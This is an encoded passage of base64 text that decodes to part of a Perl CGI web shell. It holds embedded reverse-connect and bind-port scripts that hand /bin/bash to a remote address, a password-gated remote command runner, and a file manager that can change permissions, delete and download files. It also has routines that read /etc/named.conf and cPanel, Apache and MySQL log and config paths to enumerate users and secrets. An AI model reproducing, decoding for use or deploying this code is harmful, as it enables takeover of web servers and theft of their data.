sWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCglpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAiJGZpbGUiOw0KCX0NCglyZXR1cm4gIjAiOw0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBUcmltU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7DQoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOw0KCXJldHVybiAkc3RyaW5nOw0KfQ0Kc3ViIExpc3REaXINCnsNCglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7DQoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7DQoJaWYoLWQgJHBhdGgpDQoJew0KCQlteSBAZm5hbWUgPSAoKTsNCgkJbXkgQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkNCgkJew0KCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCQl7DQoJCQkJJGY9JHBhdGguJGZpbGU7DQoJCQkJaWYoLWQgJGYpDQoJCQkJew0KCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+DQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCB3aWR0aD0nMTAwJz5GaWxlIFNpemU8L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCB3aWR0aD0nMTUwJz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9Im5vdGxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJbmV4dDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsNCgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsNCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJyk7IHJldHVybiBmYWxzZTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZmlsZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVHJ5IHRvIFZpZXcgTGlzdCBVc2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0RvbWFpblVzZXINCnsNCglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOw0KCW15IEBjbnpzID0gPGQwbWFpbnM+Ow0KCWNsb3NlIGQwbWFpbnM7DQoJbXkgJHN0eWxlPSJsaW5lIjsNCglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbWFpbiArIFVzZXI8L2ZvbnQ+PC9oMz4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSB0cmltKCIvZXRjL3ZhbGlhc2VzLyIuJDEpOw0KCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOw0KCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7DQoJfQ0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7DQoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsDQoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsDQoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsDQoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLA0KCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLA0KCQkJJy92YXIvbXlzcWwubG9nJywNCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLA0KCQkJJy9ldGMvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215LmNuZicsDQoJCQkpOw0KCW15ICRpPTA7DQoJbXkgJHBlcm1zOw0KCW15ICRzbDsNCglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQ0KCXsNCgkJaWYoLXIgJGxvZykNCgkJew0KCQkJJHBlcm1zPSJPSyI7DQoJCX1lbHNlDQoJCXsNCgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOw0KCQl9DQoJCSRyZXN1bHQgLj08PEVORDsNCgkJPHRyPg0KDQoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4NCgkJCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4NCgkJCTwvZm9ybT4NCgkJCTx0ZD4kcGVybXM8L3RkPg0KDQoJCTwvdHI+DQpFTkQNCgkJJGkrKzsNCgl9DQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcigiZCIpOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCRjaG1vZCBuZSAwKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkNCg